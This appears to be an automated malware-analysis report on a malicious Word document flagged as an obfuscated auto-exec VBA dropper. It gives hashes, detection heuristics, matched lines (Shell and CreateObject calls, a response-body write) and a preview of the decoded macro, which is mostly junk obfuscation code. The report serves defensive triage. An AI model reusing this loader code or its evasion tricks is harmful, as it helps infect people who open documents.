Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b658b9fc0456625c…

MALICIOUS

Office (OLE)

501.0 KB Created: 2018-07-13 09:26:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 97f6a85c0cef06cd766d1ed0a2cb26af SHA-1: 189d0cf4586ca84c150508ac3af54ab48bc3cbb9 SHA-256: b658b9fc0456625c1cba62dc0504c98d6056b94c65071278e6d60ec99004fa4f
352 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a malicious Office document containing a large VBA macro. Critical heuristics indicate the macro is an obfuscated auto-exec loader that downloads and executes a file from the internet using CreateObject and Shell calls. The ClamAV detection name 'Doc.Dropper.Emodldr' further supports this dropper functionality.

Heuristics 10

  • ClamAV: Doc.Dropper.Emodldr-6755244-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emodldr-6755244-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
                Shell (eaPFtOF), 0
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        fEtAdJQ = oZRiycO.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set djSAFF = CreateObject(xTFXnFb("WoSlc?r?i$pItB.RS*hwePlilt"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set djSAFF = CreateObject(xTFXnFb("WoSlc?r?i$pItB.RS*hwePlilt"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ Referenced by macro
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#Referenced by macro
    • http://ns.adobe.com/photoshop/1.0/Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • http://ns.adobe.com/xap/1.0/mm/Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 237247 bytes
SHA-256: c06c469bcc284f7da24a820cd239e5f934d90b6f6ba36fe619d0644a2ac06499
Detection
ClamAV: No threats found
Obfuscation or payload: likely
2204 of 3361 identifiers look randomly generated (e.g. 'MYWKSJhjOdIfqIBlJLaCevyTuMgAZSvcDbUUxgCE') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function UCTFnn(pVgeQxc As String, VujfsUg As Double) As String
    drJPPK = Right("DWiMGS_TE^", 2)
    drJPPK = Right("AVcj.nHijFGH#i[Od-$", 4)
    rojjrGpke = RTrim("$?nEqm(x )lW)o N")
    nTCJNbqcFJfH = RTrim("!(ZTAVrkvRYsrq)%")
    pgfyNLleaP = StrReverse("I_P&QqR^B^")
    drJPPK = Left("$kiDKSKSNYLXcvlW]U", 4)
    IjMWbBunk = Space(13)
    hzuKUqU = Right("DO-eqV]g!^tUx", 5)
    While kKAxDe < 3
        While qAXSNr < 4
            kqqiV = 1889 - 824 - 1688
            pgfyNLleaP = RTrim("A%XGUGgy&^L.LN]hOnY")
            WfCsnl = Right("*&^Swp!^I FtpDL(iy", 5)
            hzuKUqU = Left(")QdEM_.Ztg)&MW@[v*I*", 2)
            qAXSNr = qAXSNr + 2
        Wend

        hzuKUqU = 1325 + 978 + 864
        kqqiV = 589 - 1312 - 288
        eqTjTkEK = 1349 + 1773 + 1228
        WfCsnl = UCase("*umo-[_cyV")
        qJWnnsxzYRoF = Left("!TlHK?)bW[C", 3)
        kqqiV = UCase("^WQrV^fhqplti")
        IjMWbBunk = LTrim("qZZB^NhwiaHaw")
        WfCsnl = StrReverse("HUGI@ibzgD%R%q")
        kKAxDe = kKAxDe + 3
    Wend

    nTCJNbqcFJfH = RTrim("GVZCgaVrAclEgI")
    hzuKUqU = RTrim("UFjLaFT#_G.W")
    hzuKUqU = 1359 - 1710 - 1518
    qJWnnsxzYRoF = "a&qsHHNAy^D^" + "lpqG*k ke&Lx*#)sc" + "SmaM u  MDsMRIhTH]"
    hzuKUqU = RTrim("_tr]zpIjq_")
    qJWnnsxzYRoF = StrReverse("cQGkq.lsXLm")
    nTCJNbqcFJfH = Space(7)
    pgfyNLleaP = LTrim("]CddyK]z%j#gR^]n")
    pgfyNLleaP = Space(20)
    rojjrGpke = Left("b[ArjdHg.UQUFT VgPi", 3)
    While UKjCjo < 5
        While joUPNS < 3
            eqTjTkEK = 524 + 1307 + 100
            eqTjTkEK = Right("]D@srPhGD ", 2)
            eqTjTkEK = "[njN.il#z_LM??k$_d#" + "SqNZD (]UTY*[v" + "p%fB&POIkrbvU..y"
            hpaMMk = 1891 - 1201 - 1361
            hzuKUqU = LTrim("mjARL^gERmT")
            joUPNS = joUPNS + 3
        Wend

        XHZhBcEw = StrReverse("rN-C]- fwCvV )zi P")
        WfCsnl = Space(12)
        drJPPK = StrReverse("GNSu@uE@dqfbhE^ eR*")
        drJPPK = Left("(dTzBcdntk)! YoPY?fp", 3)
        XHZhBcEw = Left("yvLA$d&hVsrF", 5)
        UKjCjo = UKjCjo + 1
    Wend

    kqqiV = 1368 - 1672 - 988
    For CBCvSH = 0 To 1
        For nCaezd = 0 To 8
            drJPPK = 979 + 1930 + 577
            IjMWbBunk = UCase("cBoFUg)wL@esZpq_")
            hzuKUqU = UCase("IVE.uZoQq!")
            IjMWbBunk = LTrim("GUkAGpPWwk$k^vq!")
            nTCJNbqcFJfH = Space(12)
        Next nCaezd

        drJPPK = Space(3)
        nTCJNbqcFJfH = UCase(".hrkfjzgqqtXMVq%Nn")
        kqqiV = 1106 - 804 - 1343
        WfCsnl = RTrim("* DAed&RGI(ANfz@Wr")
        hpaMMk = Space(7)
        XHZhBcEw = ".k&h%c?XTHeBixnbcKc" + "OXzNlEc%yhC(H" + "Y._-mO$GSJJHoaBg-"
    Next CBCvSH

    pgfyNLleaP = RTrim("zP%KCsBRqLFwB#wtyd")
    kqqiV = StrReverse("UO^%JDh?v.!Qfj!DA?x")
    hzuKUqU = RTrim("f)LPnmLoy]xGlEaC[n")
    drJPPK = Right("Jb-^MCFL.rZTT?eU%", 2)
    IjMWbBunk = Right("GdrLNMU@mp[KqgWwV", 4)
    UCTFnn = "mxjSgHGPOahKobFZqGLMjUxnHoS"
End Function

Private Sub EberFR(aSIASd As Integer, FcCLIgR As String, hnFqKA As String, MJrzcFz As Integer)
    eqTjTkEK = LTrim("FOVwn@MEqHBRP)OQ@Y.")
    nTCJNbqcFJfH = Left("dCwckgHk^zHF@-T.", 2)
    IjMWbBunk = Right("hVkpy)Vr VPMc k@#@UC", 3)
    IjMWbBunk = UCase("zRfH M-.GqUO)wcN%")
    For upjWPh = 0 To 10
        hzuKUqU = UCase("vRlJQcFlsJI Xb")
        hzuKUqU = Space(15)
        hzuKUqU = 1719 + 1692 + 1948
    Next upjWPh

    pgfyNLleaP = 815 + 1772 + 1804
    XHZhBcEw = 1794 + 1428 + 796
    nTCJNbqcFJfH = 563 + 1904 + 1688
    kqqiV = LTrim("Cdp?$wQdRsf]VXSH")
    drJPPK = UCase("%*mlt-#Ze.lsTAa$.Hm!")
    nTCJNbqcFJfH = Right("ab!uaPmeI!C*?", 3)
    hpaMMk = LTrim("GF%-Eqr.?vD")
    WfCsnl = 308 - 1561 - 1427
    drJPPK = UCase("j)[@ZY*SqR!QcZ&mz")
    WfCsnl = 1056 - 941 - 453
    eqTjTkEK = UCase("ndCS]YLh?x*qXH!UjMW")
    qJWnnsxzYRoF = 635 + 1077 + 620
    WfCsnl = 665 + 1089 + 1713
    kqqiV = UCase("K.Wr]M -$-Q!(w&$.c")
    XHZhBcEw = Space(14)
    drJPPK = 772 + 1005 + 1150
    eqTjTkEK = 1800 + 869 + 1600
    kqqiV = RTrim("o)HBh[! YBTR#@sV")
    qJWnnsxzYRoF = "LzFLRwDG Z^oWb $H?t" + "yiqOj*yJD!_[ksYS^*q@" + "T)jJl.$VaTTb$"
    kqqiV = Left("L)O rU[ZmBj@zS", 5)
    rojjrGpke = Right("Pn$FUjukmu_@$kUHOZ", 3)
    eqTjTkEK = Right("DwLGS%x^.PY@", 2)
    drJPPK = LTrim("Y$gfavtexZG!J")
End Sub

Private Sub zfRgSx(ciSjuP As Boolean, JArTiCO As String, BPmMKa As String, AaYpMf As Integer, PwZjbh As Integer)
    For iVCGaA = 0 To 4
        While Rbbmkm < 1
            drJPPK = 370 + 1200 + 1750
            hzuKUqU = "NSNYFt!H$ip%^*-EAbH" + "QJn*_%XReT_ ])EW" + "OhOgISckA)WHHhuOfy&"
            hpaMMk = LTrim("YNgqDrhVVM_cR")
            XHZhBcEw = LTrim("WiTg ORC?YsJ]")
            qJWnnsxzYRoF = "BOaeBZMTVg!lHtp" + "Sq&.XWGe ng_?Rm" + "-_pCt*Drk?KbUuW#yRy"
            hpaMMk = RTrim("DuCP&sLE.s@SzC")
            IjMWbBunk = LTrim("pscNhK IrT")
            WfCsnl = UCase("UDaKMTljBi")
            nTCJNbqcFJfH = Right("Xd)Al*p&e@ciPc%yqM", 4)
            Rbbmkm = Rbbmkm + 2
        Wend

        hpaMMk = UCase("!bU-i)ojQ?!")
        kqqiV = ".Hyi[YHvbh" + "?X.lCaa]j)b*B(v" + "QfQfgV_[pPN!?"
        WfCsnl = UCase("JynUcMX?ha%.t*")
    Next iVCGaA

    pgfyNLleaP = 1094 + 1763 + 1861
    nTCJNbqcFJfH = RTrim(". QTKswgf#uUjd?y@@")
    pgfyNLleaP = " rM$SV&#.&Xiq%o!c*E" + "QOjVBsd&TJ" + "(kZqXQrW($"
    For etMZuQ = 0 To 10
        rojjrGpke = RTrim("#adMui#abzvHStE_J ")
        qJWnnsxzYRoF = Left("MY?)KymbwmQ", 3)
        IjMWbBunk = StrReverse("%[u!RlSgTdE-")
        nTCJNbqcFJfH = Right("YUb.Hkoziw_b", 5)
    Next etMZuQ

    rojjrGpke = RTrim("qipRFRadvxjG fVk.")
    XHZhBcEw = 1790 + 1056 + 1010
    hzuKUqU = RTrim("WgC%akaB&^QHIYd^")
    While WFOPNC < 5
        For AjRWWs = 0 To 10
            rojjrGpke = LTrim("Qu^!QekdMqHTjgyMxjbs")
            IjMWbBunk = 666 - 1099 - 143
            nTCJNbqcFJfH = Right("vZQLa[J(I@v-Fx_", 2)
            XHZhBcEw = 156 + 749 + 150
            pgfyNLleaP = LTrim("&D[h@CBKOIf-AB(s")
            qJWnnsxzYRoF = 1033 - 592 - 1120
            drJPPK = "N_vmz]j^lSf@" + "^OzXebglcy" + "xwL?^ny@gcPqsbSx"
            qJWnnsxzYRoF = RTrim("qk% E-VpCF^fZpJh!C")
            drJPPK = 266 - 563 - 1353
            hzuKUqU = "_nkNUNj%f!E" + "]CWpukIbJUnEijlw#i" + "u[p!rwU.ah"
        Next AjRWWs

        pgfyNLleaP = "q_&WmfNWrHtSlgcEm" + "aJcM*y.qG[%#Z" + "ba_)GbzBUfeP-T"
        kqqiV = 282 - 281 - 1620
        WFOPNC = WFOPNC + 3
    Wend

    rojjrGpke = StrReverse("#jLRV]SXjfsL OV*")
    drJPPK = "nmQ!^N.p_T@P)L" + "aw$HQLlKwQ" + "nf.nWQsWLmKL@sCm"
    WfCsnl = RTrim("k.BfdNvpZ)qY!Ht]")
    qJWnnsxzYRoF = Space(13)
    XHZhBcEw = UCase("rcbornkNXHn")
    kqqiV = StrReverse("u?ROn R!ISXz")
    drJPPK = RTrim("RYBVU(icfMxs")
    rojjrGpke = RTrim("@oUoV$IjyCI%tfBfTSgS")
    qJWnnsxzYRoF = Right("]vyUb#L%#QBT yf", 3)
    IjMWbBunk = Space(5)
    hpaMMk = RTrim("uN_HyAcsWEXlHdUZPPh")
    While XVHUSB < 5
        hpaMMk = Right("crgZHv%YffC( Zqwp", 5)
        qJWnnsxzYRoF = Left("vk^f#bp psUAbJf[SCQW", 2)
        kqqiV = LTrim("ZrxqGgSA(R&xVtq")
        IjMWbBunk = Space(16)
        drJPPK = Space(15)
        nTCJNbqcFJfH = Space(11)
        rojjrGpke = RTrim("jD*V Rf%*%RHrby")
        drJPPK = Right("vo$wKAO-G&%rbZNZ)", 4)
        hzuKUqU = "XCMsJlSDIlgOz" + "MCL^&MpI&&" + "lT*^bkINxX?G#A^jN"
        XHZhBcEw = StrReverse("cp%OWne# N#[aCK!D.")
        XVHUSB = XVHUSB + 2
    Wend

    WfCsnl = RTrim("K@tz&qv]rjM^qV")
    pgfyNLleaP = 311 - 1451 - 1701
    kqqiV = Left("qlakyt]jBC", 4)
    kqqiV = RTrim("VBGBZxeJoxAp")
End Sub

Private Function nKRtYx(djkhvfh As Integer, HhNDuQ As Integer, bECoTmP As Boolean) As String
    eqTjTkEK = LTrim("ZO%VSO*nV#R")
    rojjrGpke = StrReverse("#zSuaOZyHtR")
    While OpUtWH < 4
        For faOqZs = 0 To 10
            IjMWbBunk = StrReverse("f.Wtx-D&yqF@N-oLJJ")
            XHZhBcEw = "qd.@^vP-Fw pQRRE_G^z" + "!xD]H$NP!U ?TF^G*f" + "jmsHEUCo.kh"
            IjMWbBunk = Left("MQ_hln-%-Hba", 5)
        Next faOqZs

        hpaMMk = Right("YO.bVrkfyxO", 2)
        qJWnnsxzYRoF = StrReverse("Ey?nW*B]ddC-pHadDbWP")
        hpaMMk = "bhwfb)rM@i^zzHo" + "RYgNdEJer XsI" + "&Pk*dcwuuLtee[YbWXpk"
        OpUtWH = OpUtWH + 3
    Wend

    nTCJNbqcFJfH = 1280 - 1685 - 1982
    qJWnnsxzYRoF = 1864 - 1580 - 939
    kqqiV = "XJH$$#T$[mEm" + "pw!fe!GozW[M" + "fQi!Jn!%h?U_e@L"
    hzuKUqU = LTrim("FWrPzi)&CR")
    hzuKUqU = Right("jYW !Ee]blhieSw^V%", 4)
    drJPPK = UCase("nUrdz^HIHL&rPcOj")
    XHZhBcEw = Right("ED$S?HNe@yukPtHNvhG", 4)
    For ZeapPK = 0 To 2
        While eZSuIN < 3
            WfCsnl = 787 + 1294 + 273
            XHZhBcEw = "]gA$kjOpxCdDZ!A!@Dw" + "kzN$tUs^j$X) L$^K#" + "Xo CmKy*oRi-)w$_jFr"
            hpaMMk = Right("sdz([Zhc&D&", 3)
            eZSuIN = eZSuIN + 1
        Wend

        eqTjTkEK = LTrim("x*XlYdv_D*EWeHUF?((")
        XHZhBcEw = Left("&*yRbEDLnYg*tvykjsz", 3)
        kqqiV = 840 + 591 + 1353
    Next ZeapPK

    drJPPK = 1415 + 1862 + 1161
    IjMWbBunk = Space(16)
    XHZhBcEw = RTrim("!M$TdhNgspA")
    IjMWbBunk = LTrim("s]ULVXl Q.oBxGrH]O")
    pgfyNLleaP = Right("[SiV&o%XSo", 2)
    IjMWbBunk = UCase(")*NQny_L@u")
    kqqiV = StrReverse("NSlQ^wUgYGNpzFs")
    hpaMMk = 1322 + 1222 + 107
    XHZhBcEw = Right("NYX$w!nMgNyP", 4)
    rojjrGpke = Right("@]zukrpX$*z", 2)
    While tepimM < 2
        pgfyNLleaP = StrReverse("FRch[^Z-war$V@ktx")
        eqTjTkEK = UCase("dZT!ZpLI(W(pj^")
        nTCJNbqcFJfH = "Wb$SX*AP(#dh" + "HKmJ*&EUeAK" + "hy^(iiEHXtEa^l("
        kqqiV = "%MoWuB$fD*Z]Z" + "q@i-pFfVda&E" + "IGt!!h@?Oc mkgE&mx#o"
        tepimM = tepimM + 3
    Wend

    hpaMMk = 481 - 847 - 518
    kqqiV = 998 - 1012 - 158
    While YUzgCn < 3
        pgfyNLleaP = Left(".?m.fMp-$zZt%I", 3)
        hzuKUqU = Left("JGsBKkCdDPi Sp", 4)
        rojjrGpke = 489 - 1814 - 1283
        IjMWbBunk = 1862 - 1691 - 611
        YUzgCn = YUzgCn + 2
    Wend

    nTCJNbqcFJfH = "z^ecfA.CH&k" + "RSex@IfsQ#tfYL$#" + "txZIbSzSvw^G"
    XHZhBcEw = Right("AIzx)sCWZ%%-w", 2)
    WfCsnl = LTrim("Vo#H&&ZUhom )F")
    pgfyNLleaP = 589 + 661 + 321
    pgfyNLleaP = "Wf]R_]IWOAxAQtLCw X" + "DOApHgPqG@&^$cb@t" + "NgnS[sm-PQHjWR!*V--n"
    qJWnnsxzYRoF = 1145 - 1397 - 1268
    XHZhBcEw = Right("OBA&p@CE@x^B*MN", 3)
    rojjrGpke = RTrim("iwuIuUlkFvbPd")
    eqTjTkEK = StrReverse("aP^Q*(ZptFaYwumL#")
    nKRtYx = "hnsEUFANUdRmCVaKKujOEOvSnnTGppkUxu"
End Function

Private Function fajqGB(wTAyAw As String, PZKzoSo As Integer) As String
    hpaMMk = RTrim("qCcwPYi)@AVibW#mPW.")
    rojjrGpke = Right("qfOrvmxqcHOHr", 4)
    pgfyNLleaP = Right("yR^QW@^[BigOpWgqIG", 3)
    hpaMMk = Left("KtX-@jdIlffM]", 5)
    rojjrGpke = StrReverse("HuMsX^@KC!_oY")
    drJPPK = Left("n!ZB-(]%Nbj", 2)
    pgfyNLleaP = Space(11)
    qJWnnsxzYRoF = StrReverse("-zydScdZm@")
    hpaMMk = StrReverse("*(?HYz-&BE*")
    WfCsnl = RTrim("Id&lDbiB^Qu)DpMDZ")
    WfCsnl = 746 + 1658 + 882
    WfCsnl = ")!jfk)ukUUBLGZb" + "jJPd?cLu-Ar![R_$_y" + "wAH! !dO GRKDR&w"
    pgfyNLleaP = UCase("bNU%(%YjCpKxUM_JI ")
    pgfyNLleaP = RTrim("[gTnJf(ifJ*yXxU&)J")
    qJWnnsxzYRoF = 350 + 1056 + 934
    nTCJNbqcFJfH = "$yfBWQnQpCvk.eW" + "FU$abggcvNnofy%JywC^" + "^AXSZfycQH$y"
    hzuKUqU = 1850 - 738 - 989
    pgfyNLleaP = Right("JtVY-djc.Wi", 3)
    nTCJNbqcFJfH = 817 - 1589 - 184
    hzuKUqU = Left("-qhzHc]?uur.", 3)
    IjMWbBunk = RTrim("AC%jQcX.T( BsiEny")
    qJWnnsxzYRoF = StrReverse("rc!BH^I&v?vUAt")
    For yRjvsX = 0 To 2
        While bkQaQn < 1
            rojjrGpke = LTrim("UrRcV?nPgdQ")
            pgfyNLleaP = UCase("MJB?iOn$fw[eNi")
            bkQaQn = bkQaQn + 1
        Wend

        nTCJNbqcFJfH = Space(6)
        hzuKUqU = RTrim("@MYd%S($sETw^yx")
        rojjrGpke = 1101 + 728 + 1901
        eqTjTkEK = LTrim("AMc_#GrYXpxRNN_B")
        kqqiV = StrReverse("zDGvailrpo")
        hpaMMk = UCase("aGzaq$^uXFsl^ojH")
        XHZhBcEw = RTrim("Fl)N!ck^)Ex$qzGNz")
        XHZhBcEw = Right("$pv]#_xv[q)JG", 2)
        rojjrGpke = UCase("(tg]dCSiLe")
        drJPPK = LTrim("?zdohwbI@Rf*T@")
    Next yRjvsX

    drJPPK = Right("OAl%[ZPW_V)hIKwED#YM", 4)
    XHZhBcEw = Left("SRMvZ.wjMn.H!(", 3)
    WfCsnl = Left("xj%PKdSv)a", 5)
    rojjrGpke = "cjYemm#.SLMWCZK-C*r " + "$l&xyrpYaskMV" + "Jq!y-LMC!hKK"
    IjMWbBunk = "XQ@VxZWut#?oNhw" + "ykDLF)_URuT!SBM!O" + "dJVsDegM]_[ M$"
    pgfyNLleaP = 1965 + 1801 + 1299
    pgfyNLleaP = UCase("Co^mtXRkes@xGW]kx")
    fajqGB = "hCAwSXbZRxPbhtNdsUEjViNsPRPEee"
End Function

Private Sub dTGQIs(BkBFzY As Boolean, dmiDHkF As Integer, XtTrTiU As Double, IWWCSfK As Integer, fxvAReQ As Boolean)
    WfCsnl = RTrim("hPJwoBifwh@ _Vd]")
    eqTjTkEK = "w]ao%qJ$mq]" + "G[JTkQJeEpXHNPTU[R?" + "Wto(o^SB!IzhycY&bO!L"
    XHZhBcEw = StrReverse("sxbO-[BXMTK")
    pgfyNLleaP = 567 - 1411 - 1603
    XHZhBcEw = Right("k.ZiW)ZoqO!)W (eDC]", 5)
    pgfyNLleaP = Space(20)
    drJPPK = 1204 - 1161 - 1549
    IjMWbBunk = 843 + 1357 + 1311
    qJWnnsxzYRoF = "BJx# i_(L.d *FGfQty" + "ZCt_zxIlZs_CjxLo" + "SJ(VNUk$y.l"
    IjMWbBunk = Left("n)[t NvNuRL% ", 4)
    hzuKUqU = 303 + 169 + 1945
    kqqiV = Right("ooIekA_bVgx", 3)
    XHZhBcEw = UCase("@asb)NplPpTARrF-Ba$")
    pgfyNLleaP = ")k)pny FtfxsXrbHpd%" + "VbGEcrZe-K&B_Ow" + "*?vEpml@CWhB]RAMrmmq"
    WfCsnl = Right("!V!Ah.dlATNvFGnmM", 5)
    pgfyNLleaP = RTrim("Q!Lez PYaW._YDc")
    IjMWbBunk = Space(8)
    nTCJNbqcFJfH = Left("vHyy.)eb^ns", 2)
    drJPPK = UCase("Uk^ta&R WKmm")
    pgfyNLleaP = 288 + 1929 + 1630
    pgfyNLleaP = "?TCu&!FLZ(B-Ia%" + "qKn.)uIBLbH.yEm^lP]V" + "[QdxGeKTtvLAUs.MAT?"
    XHZhBcEw = RTrim("-Q(dq?uHU(gn")
    kqqiV = LTrim(".Bnmt%wa.w^[b]D^CUbF")
    XHZhBcEw = Space(8)
    kqqiV = 1166 - 414 - 151
    pgfyNLleaP = StrReverse("drsy_N?NrY)*@%NRiYG")
    pgfyNLleaP = StrReverse("qOAAMP[?^pPMkKL")
    nTCJNbqcFJfH = Left("XPMtPuls M_HQA#i", 3)
    IjMWbBunk = RTrim("wqDwOiWuNHQYPsEU[E!")
    pgfyNLleaP = Left("FpbS.CZfiKYqBLRs", 3)
    pgfyNLleaP = Left("vU[$vZDa]bK", 4)
    rojjrGpke = 1230 + 763 + 636
    nTCJNbqcFJfH = "G^^LuyjsslpzcCf*ss" + "yYS_WK@*(kHTegPu PKz" + ")%.wa?[gX?m--uN"
    WfCsnl = 1714 - 1609 - 1448
    hzuKUqU = Right("QqYLvn_qzrKqzBw^", 3)
    rojjrGpke = UCase("pWEFDnebX^[ ")
    hzuKUqU = UCase("ijKaHsJTO?^juQ&")
    drJPPK = 1042 + 575 + 645
End Sub

Private Function nUaGiR(utiSPTO As String, PNCwMOh As Double) As String
    XHZhBcEw = Right("exboH?PJFQ", 4)
    For vqiyaj = 0 To 4
        While PfxYHR < 1
            nTCJNbqcFJfH = 886 + 1206 + 1708
            hpaMMk = Space(9)
            PfxYHR = PfxYHR + 1
        Wend

        pgfyNLleaP = "OsP[wkm^DvH(-drv%M-" + "OLmMSUw?Cv-TGg]PTY?i" + "@(wubPW SBb"
        XHZhBcEw = Space(20)
        pgfyNLleaP = RTrim("msXyVFm)GQ%")
        eqTjTkEK = Left("JImN^JmjK%iHw*L", 5)
    Next vqiyaj

    XHZhBcEw = Left("nDewuM[glW", 4)
    qJWnnsxzYRoF = 805 - 578 - 1464
    kqqiV = 980 - 2000 - 1290
    XHZhBcEw = Left("RZ_aWt&dPw*!*lv ", 3)
    For ABbEKW = 0 To 2
        For FJCBZQ = 0 To 9
            WfCsnl = Right("gs_O^wZpDBSSd%-XZwOf", 2)
            eqTjTkEK = UCase("sPzNC]%Pb!U!XY%D#L#I")
            qJWnnsxzYRoF = 1119 - 300 - 1166
            rojjrGpke = LTrim("gIXQpVxN GR@^")
            kqqiV = StrReverse("IeY^kLrz#YN_V")
        Next FJCBZQ

        pgfyNLleaP = Space(19)
        XHZhBcEw = Right("tSQOg-&]qOgjR", 4)
        qJWnnsxzYRoF = Right("M?.L?GILtKDES", 4)
        hpaMMk = RTrim("dCF)R[Gp@Z")
        kqqiV = Right(")BEuC(pAXzmmNQol$MQ#", 2)
        pgfyNLleaP = UCase("(*hdAiwS!JhdE$J")
    Next ABbEKW

    While fFFKaO < 5
        XHZhBcEw = " ?el!AX#ZuAX[!hoXN" + "WiLx%C#.Y!hgakZ" + "f[HLCnofpDrxnz"
        drJPPK = UCase("J@ )TTg]fr-exEyC")
        WfCsnl = Space(17)
        nTCJNbqcFJfH = RTrim("P*NZrTAMRFXg[scW(EV%")
        fFFKaO = fFFKaO + 1
    Wend

    nTCJNbqcFJfH = 195 + 875 + 1342
    nTCJNbqcFJfH = StrReverse("-SqV%QU@Q@Drqpq$T[")
    qJWnnsxzYRoF = Right("Eot&buIS_S^Kya!K", 3)
    WfCsnl = "J^FdSdrLrDKpsZGAkn" + "b[sMWh.wNQs-(*Z.YAy" + "-x-]lV?]zISd&S"
    drJPPK = Space(5)
    qJWnnsxzYRoF = Space(15)
    While PnVZud < 1
        hpaMMk = 1186 + 1562 + 401
        nTCJNbqcFJfH = StrReverse("ZyqtxW.PSso(c[Y")
        rojjrGpke = 921 + 1624 + 259
        rojjrGpke = RTrim("yYxPcQWdqqjt-H_cpeyy")
        hzuKUqU = Right("R^%oh gjlEP", 4)
        qJWnnsxzYRoF = RTrim("mxFoga$I]NPQUyf-wSdN")
        qJWnnsxzYRoF = 1755 - 1994 - 1143
        eqTjTkEK = "T!SJnym^JBc" + "poFhq*BG?Et" + "scomTD-Xr."
        eqTjTkEK = Left("C*ZZOVyReY*", 4)
        hpaMMk = 1934 - 1387 - 880
        PnVZud = PnVZud + 3
    Wend

    IjMWbBunk = Right("w&pf!ZghCv[$", 3)
    eqTjTkEK = Left("oMPZqPu_AzmN$m.c#", 4)
    For BYaLlw = 0 To 5
        drJPPK = "MDibGR$YfildKgeYl$" + "xEu#pu]qIg)dCZ" + "blXOyPxiOQ!e$ug]OyRu"
        WfCsnl = 1840 + 1396 + 1635
    Next BYaLlw

    nTCJNbqcFJfH = UCase("ANz_D]?Mt-Dva%Jh")
    hzuKUqU = 1173 + 1025 + 1475
    pgfyNLleaP = Left("xAV(csb)h)A)zjb-cQFy", 4)
    drJPPK = 1190 - 1675 - 234
    eqTjTkEK = Left("l&eCABG&OnXiEEC]Bx", 3)
    kqqiV = UCase("An]U-#o_%j!^]J)^$k-")
    IjMWbBunk = "IGuo%y^YOSylj" + "N#yLHbNU&b*JdhSS" + "UO@dv$mUkV"
    For yteQYf = 0 To 7
        nTCJNbqcFJfH = "vP-.G[BTMPa*JKa]NmRU" + "cuqs]rCG_*daJSxNqP" + "TeSVm@!o#!Y^_$_^ukkO"
        rojjrGpke = 457 + 1901 + 607
        WfCsnl = 1935 - 820 - 394
    Next yteQYf

    XHZhBcEw = Right("wZjUmO]e@poI#V (oj", 4)
    WfCsnl = 412 + 473 + 801
    hpaMMk = UCase("FjJ#^t?tqSoIq(")
    nTCJNbqcFJfH = Right("UfJ ZvWW!hJzEJ.c-Ywp", 2)
    nTCJNbqcFJfH = RTrim("@lZ)HqP#o]GbDj")
    For aTlyUS = 0 To 7
        kqqiV = UCase("%IGd*ZtGRyKPVnX")
        qJWnnsxzYRoF = RTrim("VpPLvBvuQE")
        drJPPK = Right("XcTMe]_-uh%nFQlAK", 3)
        eqTjTkEK = Space(8)
        IjMWbBunk = Right("x^yXx-CjeDD!pusI", 4)
        drJPPK = LTrim(").f#&de)nT")
        IjMWbBunk = "qvZqads(LU*RO%" + "Ax]v*UWENCmy!lQQaGBl" + "c(F&tOrC&b^k"
        eqTjTkEK = Right("jugRfJ?A.l%VwMwpZq*M", 5)
        eqTjTkEK = "oxY_dTym]$h O? uJg" + "WQchFj-wN&" + "*N)k[(rgdO_iB)s"
        rojjrGpke = UCase("o]VD^^gB$@LmntE")
    Next aTlyUS

    nUaGiR = "ftQRCAOGQAmQHnRSqhQskYmPjHwsxEpb"
End Function

Private Sub gjzXWh(HVKDdw As Integer, BxWFkZ As Boolean, kFJbCtO As Integer, AEcJDEe As Integer)
    IjMWbBunk = StrReverse("b$MDq].EBX")
    WfCsnl = Right("-SdZxGyUoGKiXV _ZOD.", 3)
    XHZhBcEw = Left("HIZTf_rP@-t_q", 2)
    hzuKUqU = 657 - 447 - 1042
    hpaMMk = RTrim("n(N$RKQ?Re%ZF")
    drJPPK = StrReverse("B!AfigdeIP")
    hzuKUqU = Space(13)
    hzuKUqU = Space(10)
    pgfyNLleaP = StrReverse("oGT_a%*ydhVs")
